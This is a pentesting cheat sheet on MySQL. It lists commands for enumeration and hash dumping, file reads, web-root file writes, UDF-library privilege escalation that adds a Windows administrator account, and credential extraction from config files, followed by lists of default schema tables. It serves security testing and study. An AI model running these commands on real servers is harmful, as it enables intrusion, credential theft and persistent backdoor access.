# 3306 - Pentesting Mysql ## **Basic Information** **MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**).\ \_\*\*\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/). **Default port:** 3306 ``` 3306/tcp open mysql ``` ## **Connect** ### **Local** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### Remote ```bash mysql -h -u root mysql -h -u root@localhost ``` ## Enumeration Some of the enumeration actions require valid credentials ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` [**Brute force**](https://chinnidiwakar.gitbook.io/githubimport/brute-force#mysql) ## Write any binary data ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **Basic & interesting MySQL commands** ```bash show databases; use ; show tables; describe ; select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges select user,file_priv from mysql.user where user='root'; #File privileges select version(); #version select @@version(); #version select user(); #User select database(); #database name #Try to execute code select do_system('id'); \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="" #Read & Write select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ## MySQL arbitrary read file by client Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\ Please notice that this is the behaviour using: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Notice the "local" word)\ Because without the "local" you can get: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ## POST ### Mysql User It will be very interesting if mysql is running as **root**: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" ``` ### Privilege escalation How to: * Current Level of access * mysql>`select user();` * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';` * Access passwords * mysql> `use mysql` * mysql> `select user,password from user;` * Create a new user and grant him privileges * mysql>`create user test identified by 'test';` * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;` * Break into a shell * mysql> `\! cat /etc/passwd` * mysql> `\! bash` ### Privilege Escalation via library You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host. #### Linux ```sql use mysql; create table npn(line blob); insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; select sys_exec('id > /tmp/out.txt'); ``` #### Windows ```sql USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll')); SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extracting MySQL credentials from the database ```sql SELECT User,Host,Password FROM mysql.user; SELECT User,Host,authentication_string FROM mysql.user; ``` ```bash mysql -u root --password= -e "SELECT User,Host,authentication_string FROM mysql.user;" ``` ### Extracting MySQL credentials from files Inside */etc/mysql/debian.cnf* you can find the **plain-text password** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` You can **use these credentials to login in the mysql database**. Inside the file: */var/lib/mysql/mysql/user.MYD* you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)*.* You can extract them doing: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### Enabling logging You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: ![](https://4153509160-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MaoGr_g3I50alM2whW0%2Fsync%2Fb64184f9f46751228204e2c2e30ec053e70791d3.png?generation=1622227488610448\&alt=media) ### Useful files Configuration Files * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * Command History * \~/.mysql.history * Log Files * connections.log * update.log * common.log ## Default MySQL Database/Tables {% tabs %} {% tab title="information\_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance\_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ schema\_table\_statistics\ schema\_table\_statistics\_with\_buffer\ schema\_tables\_with\_full\_table\_scans\ schema\_unused\_indexes\ session\ session\_ssl\_status\ statement\_analysis\ statements\_with\_errors\_or\_warnings\ statements\_with\_full\_table\_scans\ statements\_with\_runtimes\_in\_95th\_percentile\ statements\_with\_sorting\ statements\_with\_temp\_tables\ sys\_config\ user\_summary\ user\_summary\_by\_file\_io\ user\_summary\_by\_file\_io\_type\ user\_summary\_by\_stages\ user\_summary\_by\_statement\_latency\ user\_summary\_by\_statement\_type\ version\ wait\_classes\_global\_by\_avg\_latency\ wait\_classes\_global\_by\_latency\ waits\_by\_host\_by\_latency\ waits\_by\_user\_by\_latency\ waits\_global\_by\_latency\ x$host\_summary\ x$host\_summary\_by\_file\_io\ x$host\_summary\_by\_file\_io\_type\ x$host\_summary\_by\_stages\ x$host\_summary\_by\_statement\_latency\ x$host\_summary\_by\_statement\_type\ x$innodb\_buffer\_stats\_by\_schema\ x$innodb\_buffer\_stats\_by\_table\ x$innodb\_lock\_waits\ x$io\_by\_thread\_by\_latency\ x$io\_global\_by\_file\_by\_bytes\ x$io\_global\_by\_file\_by\_latency\ x$io\_global\_by\_wait\_by\_bytes\ x$io\_global\_by\_wait\_by\_latency\ x$latest\_file\_io\ x$memory\_by\_host\_by\_current\_bytes\ x$memory\_by\_thread\_by\_current\_bytes\ x$memory\_by\_user\_by\_current\_bytes\ x$memory\_global\_by\_current\_bytes\ x$memory\_global\_total\ x$processlist\ x$ps\_digest\_95th\_percentile\_by\_avg\_us\ x$ps\_digest\_avg\_latency\_distribution\ x$ps\_schema\_table\_statistics\_io\ x$schema\_flattened\_keys\ x$schema\_index\_statistics\ x$schema\_table\_lock\_waits\ x$schema\_table\_statistics\ x$schema\_table\_statistics\_with\_buffer\ x$schema\_tables\_with\_full\_table\_scans\ x$session\ x$statement\_analysis\ x$statements\_with\_errors\_or\_warnings\ x$statements\_with\_full\_table\_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements\_with\_sorting\ x$statements\_with\_temp\_tables\ x$user\_summary\ x$user\_summary\_by\_file\_io\ x$user\_summary\_by\_file\_io\_type\ x$user\_summary\_by\_stages\ x$user\_summary\_by\_statement\_latency\ x$user\_summary\_by\_statement\_type\ x$wait\_classes\_global\_by\_avg\_latency\ x$wait\_classes\_global\_by\_latency\ x$waits\_by\_host\_by\_latency\ x$waits\_by\_user\_by\_latency\ x$waits\_global\_by\_latency {% endtab %} {% endtabs %}